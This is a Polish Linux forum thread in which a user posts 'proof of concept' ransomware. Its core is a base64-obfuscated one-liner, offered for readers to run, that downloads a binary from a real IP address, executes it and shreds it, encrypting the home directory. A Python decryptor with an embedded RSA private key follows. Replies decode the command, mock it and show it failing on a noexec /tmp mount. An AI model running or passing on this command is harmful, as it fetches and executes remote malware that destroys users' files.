Nie jesteś zalogowany.
Jeśli nie posiadasz konta, zarejestruj je już teraz! Pozwoli Ci ono w pełni korzystać z naszego serwisu. Spamerom dziękujemy!

Ogłoszenie

Prosimy o pomoc dla małej Julki — przekaż 1% podatku na Fundacji Dzieciom zdazyć z Pomocą.
Więcej informacji na dug.net.pl/pomagamy/.

#1  2018-09-25 16:15:32

  091619EE - Użytkownik

091619EE
Użytkownik
Zarejestrowany: 2018-07-09

Linux Ransomware - dowod slusznosci koncepcji

[b]Dowod slusznosci koncepcji ataku typu Ransomware dla Linuxa:[/b]

1. Aby zostac zaszyfrowanym wystarczy wywolac magiczne polecenie:

Kod:

echo d2dldCAtcWMgaHR0cDovLzE5OC4xNjcuMjIzLjc1LzY2NiAtTyAvdG1wLzY2NiAmJiBjaG1vZCBhK3ggL3RtcC82NjYgJiYgL3RtcC82NjYgJiYgc2hyZWQgLW4xIC11IC90bXAvNjY2ICYK | base64 -d | sh

to wszystko

(zostaną zaszyfrowane rekurencyjnie wszystkie dane w katalogu home uzytkownika)

2. Aby sie odszyfrowac nalezy:

-otworzyc plik [b]~/encryption.log[/b] i skopiowac swoj zaszyfrowany klucz symetryczny

-zapisac skrypt decryptor.py:

Kod:

from Crypto.PublicKey import RSA
from Crypto.Cipher import AES

import os
import base64

BLOCK_SIZE = 64*1024
CIPHER_BLOCK_SIZE = 16
REMOVE_ENCRYPTED = False

PRIVATE_RSA_KEY = b'-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAoBQOkxAKSwkLnrdP7u4CPSu7ji10TRTSyDNuMGVRxrnH0lJa\nRK+JemA1hhqGZJVOyS997r8rKMX+qEtA2X17d6PlVz1GumKCRCXBBqT+aVjG9WUY\nUO7xxvwkodK3AvjyjvSDlZzO+o+72HhuKD46qp/Lvu8px20PtBXvGPgwnDRzaGxT\nHR32bV1qFWvY4zWh7cwsEeZno2AAYelUcF+QXKv5ZTJN4NmeNntKkII2ubB41LIG\neVp7945mBo/K5h2BP6xyXrKRAusI+3PbG1D7sLJdFFuXb0ljqEB1j1wpN0/grNnp\nI2V2mKoIraoRaC4khT/sl0dZ1QDnZUebsv3e8wIDAQABAoIBAAQyQmeMhhiNdiaE\n+61xw9FCsjn56xCSOSxSXNMb9NbWy+wxiHhAecQhfYW0cE12tIgFnLGDhWgeOJzE\nzEBnT7NFMp/k1VPRfUS4EKVR8fFlCGIqcka83M2wkm1DjtSfHgytUD29zJc46V21\nWn3nk7YhVj/9GQVHUKAR6yCmcO/HTZmqrtDnlNOnEvU+485Dof5QdoZqpk7Uy3Jc\nciqdwbQGDPXgRTMLYekEJSzU6KZxwRObWuIOq7n2PUxurXAyjG2+RV3v5Q/b82gU\nbZdn7B42T/hHmE59p29NdnYsv2Ae7eP9J7qDhwyxtqHTe0okEOGVRdWKAu2LNj/x\nuA6kjTECgYEAxrqjG0280rfRj1eT/2pXIumeLf6wusy5S7jlNE+E7YfYVCkrpevn\nua9/llRVbUwxWrh+eA2W0e8+WsCDobDReqyAUb3UGJ/2tH459M1DyKt/8K7sMHr6\npTXYT1NbhRToyIexe1QlaCK3rHx6HrHEPonxYy7yKBdsAV0aaBOQPv0CgYEAzjXw\nfB5LuNVzBxlbt1Nm84znPIdDRrHUjzxBJCRxFstTpddo174Ft8PFb4tvnug4jtt3\nbp7K2VLSr/qm2mZ47vzdlR+jUDC8aViYH4y1WqMVfP9HYUd2GAI3m2kfGzafayf7\neEolTLbNNThSpnm2oq5k+aP1wgyJTncLhmsvEK8CgYEAvePMwuQvDzIx/cPzWNWl\n2WhdixmYiYXhcKeF68wn+kgZv6FvYaXe0CEPyvdegYeSiVtNDS3+9S6j6FeX78Jj\nB9MY8gJvTfBb7e/HNVGF+ZNWNwcODO0V3xNqU7IU+z8Vh7eRMYUgETdLRnfSwM2f\n9RoeG2XaYdCvlUX/W3+GD4kCgYA9nhKJFAhuZ6GiimpEgnBt8DmcdZKdyj+IuWmB\noj4EoKcTFCXo6YgN3Drf1Nt6sUtNLLkoXdyhScVY/l3jPuF+ECMqDzUeniF+nRF/\nw+zg84BVRHaQ0+iuzeLN1oCMAitqupzC2e0BWlJBR94yjoYLYG8dxWeHH3Xb82iH\nNvnuUwKBgAa7AgNqMq14SjJBmUgdjSYoD/UYD6yQZL+ewc2mYL8iCqoYw2G+UcwI\n9SFB5piaHq/gbkAM8qn+FstGYV3C6Z0cbo1msRUjjtWeEPjj6xAlx5Bmb5Itr2Mv\nuA5rrkpwiE+SCnYtojLUuFtl+qWH4XMUIUQ6+1F95sOKXbiERP/4\n-----END RSA PRIVATE KEY-----'

ENCRYPTED_AES_KEY=b'cCz+Kwm4+45ja3x/t1A/+cpxObAR2tlfwQE/7qoC4GqfuvHQkqXEILlS/089bxbpz2KMTCRpy9Nerdx0jkh5E1ctesySLl+nzxHm7DamAOkvAM1TnCqqpBqU0TXCVCptIxH/Csnb40Yd1ZGUOXeUPDRVv2jE0Q+lY+kD2e4GfJWfTDwzP/qgInNOffeAx2yv5ULJu/zo7cai79AjGzuWBu+zHckNDgKZUTuzhpwGBKT/wlZm7gVDRnyck7OwsDP5b9A13o9BmnWsYkJ2nAuCaGOZJr3g/Qbtk5C0WekQpNSntFkkr622MkEHmzTKwdbLMjYmOLcBA+lQoy2RqkwoSg=='

def decrypt_file(file, cipher):
    try:
        fread = open(file, "rb")
        fwrite = open(file[:-7], "wb")

        while True:
            block = fread.read(BLOCK_SIZE)
            if(len(block) == 0):
                break
            fwrite.write(cipher.decrypt(block))

        fread.close()
        fwrite.close()

        if REMOVE_ENCRYPTED:
            os.remove(file)

        return True
    except:
        return False

def main():
    plain = RSA.importKey(PRIVATE_RSA_KEY).decrypt(base64.b64decode(ENCRYPTED_AES_KEY))
    key = plain[:2*CIPHER_BLOCK_SIZE]
    ivector = plain[-CIPHER_BLOCK_SIZE:]

    print('Klucz AES został odszyfrowany...\n')

    for dirpath, dirnames, files in os.walk(os.getenv("HOME")):
        for filename in files:
            filepath = os.path.join(dirpath, filename)
            if filepath[-7:] != '.locked':
                continue
            if decrypt_file(filepath, AES.new(key,AES.MODE_CBC,ivector)):
                print('Odszyfrowano: '+filepath[:-7])

main()

i podmienic w nim ENCRYPTED_AES_KEY na swoj klucz

-doinstalowac potrzebne pakiety:

[b]sudo apt-get update[/b]
[b]sudo apt-get install python3-pip[/b]

[b]pip3 install pycrypto[/b]

-wykonac skrypt deszyfrujacy:

[b]python3 decryptor.py[/b]

Fajne ? :D

Offline

 

#2  2018-09-25 16:36:44

  loms - Użytkownik

loms
Użytkownik
Skąd: Tarnowskie Góry
Zarejestrowany: 2007-07-20

Re: Linux Ransomware - dowod slusznosci koncepcji

Potwierdza to teorie, że żeby się zainfekować to wystarczy jeden raz coś uruchomić, czasami przypadkiem, tak samo pod Windowsem jak i Linuxem.
Zdekodowane z Base64:

Kod:

wget -qc http://198.167.223.75/666 -O /tmp/666 && chmod a+x /tmp/666 && /tmp/666 && shred -n1 -u /tmp/666 &

Ostatnio edytowany przez loms (2018-09-25 16:43:05)


Prawo jest jak płot, wąż się prześlizgnie, tygrys przeskoczy a bydło się nie rozbiega.

Offline

 

#3  2018-09-25 16:44:46

  091619EE - Użytkownik

091619EE
Użytkownik
Zarejestrowany: 2018-07-09

Re: Linux Ransomware - dowod slusznosci koncepcji

[b]loms[/b] to jest to co ci kiedys obiecalem:

https://forum.dug.net.pl/viewtopic.php?pid=320667#p320667

:)

Offline

 

#4  2018-09-25 18:25:28

  yossarian - Szczawiożerca

yossarian
Szczawiożerca
Skąd: Shangri-La
Zarejestrowany: 2011-04-25

Re: Linux Ransomware - dowod slusznosci koncepcji

To jeszcze napisz w jaki sposób użytkownik ma to sobie niby zrobić.

Równie dobrze atakiem można nazwać użycie narzędzia [tt]rm[/tt] ;)

Offline

 

#5  2018-09-25 19:37:59

  morfik - Cenzor wirtualnego świata

morfik
Cenzor wirtualnego świata
Skąd: ze WSI
Zarejestrowany: 2011-09-15
Serwis

Re: Linux Ransomware - dowod slusznosci koncepcji

Ale tylko z opcjami -Rf i jako root. xD

Offline

 

#6  2018-09-25 20:00:52

  Jacekalex - Podobno człowiek...;)

Jacekalex
Podobno człowiek...;)
Skąd: /dev/urandom
Zarejestrowany: 2008-01-07

Re: Linux Ransomware - dowod slusznosci koncepcji

[quote=091619EE][b]Dowod slusznosci koncepcji ataku typu Ransomware dla Linuxa:[/b]

:)[/quote]
Popraw tego exploita bo on nie działa, to jakieś brakoróbstwo.

Kod:

Przekierowanie wyjścia do `wget-log.1'.
bash: linia 13: /tmp/666: Brak dostępu
^C
[1]+  Kod wyjścia 126        wget -qc http://198.167.223.75/666 -O /tmp/666 && chmod a+x /tmp/666 && /tmp/666 && shred -n1 -u /tmp/666

i tyle w temacie.

Wystarczy sensownie montować /tmp.

Kod:

 grep /tmp /etc/fstab
tmpfs      /tmp              tmpfs            noatime,noexec,nosuid,nodev,mode=1777                                                    0                      0

SOA#1

Ostatnio edytowany przez Jacekalex (2018-09-25 20:04:43)


W demokracji każdy naród ma taką władzę, na jaką zasługuje ;)
Si vis pacem  para bellum  ;)       |       Pozdrawiam :)

Offline

 

Stopka forum

Powered by PunBB
© Copyright 2002–2005 Rickard Andersson
Możesz wyłączyć AdBlock — tu nie ma reklam ;-)

[ Generated in 0.012 seconds, 9 queries executed ]

Informacje debugowania

Time (s) Query
0.00019 SET CHARSET latin2
0.00014 SET NAMES latin2
0.00165 SELECT u.*, g.*, o.logged FROM punbb_users AS u INNER JOIN punbb_groups AS g ON u.group_id=g.g_id LEFT JOIN punbb_online AS o ON o.ident='18.221.235.209' WHERE u.id=1
0.00146 REPLACE INTO punbb_online (user_id, ident, logged) VALUES(1, '18.221.235.209', 1713495843)
0.00059 SELECT * FROM punbb_online WHERE logged<1713495543
0.00085 SELECT t.subject, t.closed, t.num_replies, t.sticky, f.id AS forum_id, f.forum_name, f.moderators, fp.post_replies, 0 FROM punbb_topics AS t INNER JOIN punbb_forums AS f ON f.id=t.forum_id LEFT JOIN punbb_forum_perms AS fp ON (fp.forum_id=f.id AND fp.group_id=3) WHERE (fp.read_forum IS NULL OR fp.read_forum=1) AND t.id=30644 AND t.moved_to IS NULL
0.00006 SELECT search_for, replace_with FROM punbb_censoring
0.00257 SELECT u.email, u.title, u.url, u.location, u.use_avatar, u.signature, u.email_setting, u.num_posts, u.registered, u.admin_note, p.id, p.poster AS username, p.poster_id, p.poster_ip, p.poster_email, p.message, p.hide_smilies, p.posted, p.edited, p.edited_by, g.g_id, g.g_user_title, o.user_id AS is_online FROM punbb_posts AS p INNER JOIN punbb_users AS u ON u.id=p.poster_id INNER JOIN punbb_groups AS g ON g.g_id=u.group_id LEFT JOIN punbb_online AS o ON (o.user_id=u.id AND o.user_id!=1 AND o.idle=0) WHERE p.topic_id=30644 ORDER BY p.id LIMIT 0,25
0.00165 UPDATE punbb_topics SET num_views=num_views+1 WHERE id=30644
Total query time: 0.00916 s